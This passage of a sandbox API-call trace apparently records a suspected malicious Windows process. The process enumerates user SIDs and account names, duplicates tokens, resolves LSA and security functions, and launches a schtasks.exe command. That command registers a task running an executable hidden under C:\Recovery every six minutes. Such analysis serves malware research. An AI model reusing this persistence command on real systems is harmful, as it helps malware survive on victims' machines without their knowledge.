_Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0143.887] memcpy (in: _Dst=0x12db76, _Src=0x1617c8, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0143.887] free (_Block=0x2af0c0) [0143.887] free (_Block=0x2aefc0) [0143.887] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0143.887] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0143.887] malloc (_Size=0x18) returned 0x2aefc0 [0143.887] malloc (_Size=0x18) returned 0x2af0c0 [0143.887] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0143.887] SysStringLen (param_1="-") returned 0x1 [0143.888] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0143.888] memcpy (in: _Dst=0x12d85a, _Src=0x1617c8, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0143.888] free (_Block=0x2aefa0) [0143.888] free (_Block=0x2aefc0) [0143.888] malloc (_Size=0x18) returned 0x2aefc0 [0143.888] malloc (_Size=0x18) returned 0x2aefa0 [0143.888] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0143.888] SysStringLen (param_1="1000") returned 0x4 [0143.888] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0143.888] memcpy (in: _Dst=0x12db8c, _Src=0x1617c8, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0143.888] free (_Block=0x2af0c0) [0143.888] free (_Block=0x2aefc0) [0143.888] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0143.888] malloc (_Size=0x5e) returned 0x2b08a0 [0143.888] free (_Block=0x2aefa0) [0143.888] malloc (_Size=0x18) returned 0x2aefa0 [0143.889] free (_Block=0x2b08a0) [0143.889] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0143.890] GetLastError () returned 0x7a [0143.890] malloc (_Size=0x14) returned 0x2aefc0 [0143.890] malloc (_Size=0x16) returned 0x2af0c0 [0143.890] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca84, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0143.890] malloc (_Size=0x18) returned 0x2aef80 [0143.890] malloc (_Size=0x18) returned 0x2af0e0 [0143.890] free (_Block=0x2aefc0) [0143.891] free (_Block=0x2af0c0) [0143.891] free (_Block=0x2b0000) [0143.891] free (_Block=0x2af0e0) [0143.891] free (_Block=0x2aef80) [0143.891] free (_Block=0x2aefa0) [0143.891] free (_Block=0x2ae2a0) [0143.891] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0143.891] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0143.892] GetLastError () returned 0x7a [0143.892] malloc (_Size=0x2c) returned 0x2ae2e0 [0143.892] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0143.892] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0143.892] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0143.892] malloc (_Size=0x1c) returned 0x2b0000 [0143.892] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0143.892] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0143.892] malloc (_Size=0x18) returned 0x2aefa0 [0143.892] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0143.892] malloc (_Size=0x18) returned 0x2aef80 [0143.892] malloc (_Size=0x18) returned 0x2af0e0 [0143.892] SysStringLen (param_1="S-1-") returned 0x4 [0143.892] SysStringLen (param_1="5") returned 0x1 [0143.892] memcpy (in: _Dst=0x161798, _Src=0x1617f8, _Size=0xa | out: _Dst=0x161798) returned 0x161798 [0143.892] memcpy (in: _Dst=0x1617a0, _Src=0x1617c8, _Size=0x4 | out: _Dst=0x1617a0) returned 0x1617a0 [0143.892] free (_Block=0x2aefa0) [0143.892] free (_Block=0x2aef80) [0143.892] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0143.892] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0143.892] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0143.893] malloc (_Size=0x18) returned 0x2aef80 [0143.893] malloc (_Size=0x18) returned 0x2aefa0 [0143.893] SysStringLen (param_1="S-1-5") returned 0x5 [0143.893] SysStringLen (param_1="-") returned 0x1 [0143.893] memcpy (in: _Dst=0x1617c8, _Src=0x161798, _Size=0xc | out: _Dst=0x1617c8) returned 0x1617c8 [0143.893] memcpy (in: _Dst=0x1617d2, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x1617d2) returned 0x1617d2 [0143.893] free (_Block=0x2af0e0) [0143.893] free (_Block=0x2aef80) [0143.893] malloc (_Size=0x18) returned 0x2aef80 [0143.893] malloc (_Size=0x18) returned 0x2af0e0 [0143.893] SysStringLen (param_1="S-1-5-") returned 0x6 [0143.893] SysStringLen (param_1="21") returned 0x2 [0143.893] memcpy (in: _Dst=0x1617f8, _Src=0x1617c8, _Size=0xe | out: _Dst=0x1617f8) returned 0x1617f8 [0143.893] memcpy (in: _Dst=0x161804, _Src=0x161798, _Size=0x6 | out: _Dst=0x161804) returned 0x161804 [0143.893] free (_Block=0x2aefa0) [0143.893] free (_Block=0x2aef80) [0143.893] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0143.893] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0143.893] malloc (_Size=0x18) returned 0x2aef80 [0143.893] malloc (_Size=0x18) returned 0x2aefa0 [0143.893] SysStringLen (param_1="S-1-5-21") returned 0x8 [0143.893] SysStringLen (param_1="-") returned 0x1 [0143.893] memcpy (in: _Dst=0x161798, _Src=0x1617f8, _Size=0x12 | out: _Dst=0x161798) returned 0x161798 [0143.894] memcpy (in: _Dst=0x1617a8, _Src=0x1617c8, _Size=0x4 | out: _Dst=0x1617a8) returned 0x1617a8 [0143.894] free (_Block=0x2af0e0) [0143.894] free (_Block=0x2aef80) [0143.894] malloc (_Size=0x18) returned 0x2aef80 [0143.894] malloc (_Size=0x18) returned 0x2af0e0 [0143.894] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0143.894] SysStringLen (param_1="4219442223") returned 0xa [0143.894] memcpy (in: _Dst=0x1179f8, _Src=0x161798, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0143.894] memcpy (in: _Dst=0x117a0a, _Src=0x1617f8, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0143.894] free (_Block=0x2aefa0) [0143.894] free (_Block=0x2aef80) [0143.894] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0143.894] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0143.894] malloc (_Size=0x18) returned 0x2aef80 [0143.894] malloc (_Size=0x18) returned 0x2aefa0 [0143.894] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0143.894] SysStringLen (param_1="-") returned 0x1 [0143.894] memcpy (in: _Dst=0x117a48, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x117a48) returned 0x117a48 [0143.894] memcpy (in: _Dst=0x117a6e, _Src=0x161798, _Size=0x4 | out: _Dst=0x117a6e) returned 0x117a6e [0143.894] free (_Block=0x2af0e0) [0143.894] free (_Block=0x2aef80) [0143.894] malloc (_Size=0x18) returned 0x2aef80 [0143.895] malloc (_Size=0x18) returned 0x2af0e0 [0143.895] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0143.895] SysStringLen (param_1="4223814209") returned 0xa [0143.895] memcpy (in: _Dst=0x12d808, _Src=0x117a48, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0143.895] memcpy (in: _Dst=0x12d830, _Src=0x161798, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0143.895] free (_Block=0x2aefa0) [0143.895] free (_Block=0x2aef80) [0143.895] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0143.895] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0143.895] malloc (_Size=0x18) returned 0x2aef80 [0143.895] malloc (_Size=0x18) returned 0x2aefa0 [0143.895] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0143.895] SysStringLen (param_1="-") returned 0x1 [0143.895] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0143.895] memcpy (in: _Dst=0x12db74, _Src=0x161798, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0143.895] free (_Block=0x2af0e0) [0143.895] free (_Block=0x2aef80) [0143.895] malloc (_Size=0x18) returned 0x2aef80 [0143.895] malloc (_Size=0x18) returned 0x2af0e0 [0143.895] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0143.895] SysStringLen (param_1="3835049652") returned 0xa [0143.895] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0143.895] memcpy (in: _Dst=0x12d846, _Src=0x161798, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0143.896] free (_Block=0x2aefa0) [0143.896] free (_Block=0x2aef80) [0143.896] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0143.896] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0143.896] malloc (_Size=0x18) returned 0x2aef80 [0143.896] malloc (_Size=0x18) returned 0x2aefa0 [0143.896] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0143.896] SysStringLen (param_1="-") returned 0x1 [0143.896] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0143.896] memcpy (in: _Dst=0x12db8a, _Src=0x161798, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0143.896] free (_Block=0x2af0e0) [0143.896] free (_Block=0x2aef80) [0143.896] malloc (_Size=0x18) returned 0x2aef80 [0143.896] malloc (_Size=0x18) returned 0x2af0e0 [0143.896] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0143.896] SysStringLen (param_1="1000") returned 0x4 [0143.896] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0143.896] memcpy (in: _Dst=0x12d85c, _Src=0x161798, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0143.896] free (_Block=0x2aefa0) [0143.896] free (_Block=0x2aef80) [0143.896] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0143.896] malloc (_Size=0x5e) returned 0x2b08a0 [0143.897] free (_Block=0x2af0e0) [0143.897] malloc (_Size=0x18) returned 0x2af0e0 [0143.897] free (_Block=0x2b08a0) [0143.897] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0143.898] GetLastError () returned 0x7a [0143.898] malloc (_Size=0x14) returned 0x2aef80 [0143.898] malloc (_Size=0x16) returned 0x2aefa0 [0143.898] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aef80, cchName=0xe7ca94, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0143.899] malloc (_Size=0x18) returned 0x2af0c0 [0143.899] malloc (_Size=0x18) returned 0x2aefc0 [0143.899] free (_Block=0x2aef80) [0143.899] free (_Block=0x2aefa0) [0143.899] free (_Block=0x2b0000) [0143.899] free (_Block=0x2aefc0) [0143.899] free (_Block=0x2af0c0) [0143.899] free (_Block=0x2af0e0) [0143.900] free (_Block=0x2ae2e0) [0143.900] malloc (_Size=0x48) returned 0x2ad220 [0143.900] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0143.904] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0143.904] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0143.905] malloc (_Size=0x18) returned 0x2af0e0 [0143.905] CreateEnvironmentBlock () returned 0x1 [0143.940] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0143.940] malloc (_Size=0x18) returned 0x2af0c0 [0143.940] CreateProcessAsUserW (in: hToken=0x2ac, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 6 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x15b300, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 6 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x244, dwProcessId=0x864, dwThreadId=0x5e4)) returned 1 [0143.945] CloseHandle (hObject=0x248) returned 1 [0143.945] CloseHandle (hObject=0x244) returned 1 [0143.945] free (_Block=0x2af0c0) [0143.945] DestroyEnvironmentBlock () returned 0x1 [0143.945] malloc (_Size=0x48) returned 0x2ad270 [0143.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x24413760, dwHighDateTime=0x1d8a92a)) [0143.945] SetEvent (hEvent=0x1f0) returned 1 [0143.946] CloseHandle (hObject=0x2dc) returned 1 [0143.946] CloseHandle (hObject=0x2ac) returned 1 [0144.041] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0144.041] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0144.041] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0145.065] SetLastError (dwErrCode=0x0) [0145.065] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0145.066] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0145.066] SetLastError (dwErrCode=0x0) [0145.066] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0145.066] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0145.066] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0145.066] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0145.066] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0145.066] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0145.067] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0145.068] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0145.068] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0145.068] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0145.068] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0145.068] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0145.068] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0145.070] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0145.070] GetCurrentThread () returned 0xfffffffffffffffe [0145.070] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d0) returned 1 [0145.070] malloc (_Size=0xd8) returned 0x2b35c0 [0145.070] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0145.071] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0145.071] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0145.071] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0145.071] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0145.071] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0145.071] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0145.071] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0145.072] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0145.072] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0145.072] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0145.072] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0145.072] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0145.072] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0145.073] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0145.073] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0145.073] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0145.073] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0145.073] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0145.073] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0145.073] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0145.073] malloc (_Size=0x18) returned 0x2af0e0 [0145.074] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0145.074] malloc (_Size=0x48) returned 0x2ad270 [0145.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x24ac5540, dwHighDateTime=0x1d8a92a)) [0145.074] SetEvent (hEvent=0x1f0) returned 1 [0145.075] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0145.075] GetLastError () returned 0x7a [0145.075] malloc (_Size=0x2c) returned 0x2ae2a0 [0145.075] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0145.076] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0145.076] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0145.076] malloc (_Size=0x1c) returned 0x2affd0 [0145.076] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0145.076] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0145.076] malloc (_Size=0x18) returned 0x2af0e0 [0145.076] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0145.076] malloc (_Size=0x18) returned 0x2af0c0 [0145.076] malloc (_Size=0x18) returned 0x2aefc0 [0145.076] SysStringLen (param_1="S-1-") returned 0x4 [0145.076] SysStringLen (param_1="5") returned 0x1 [0145.076] memcpy (in: _Dst=0x161978, _Src=0x161858, _Size=0xa | out: 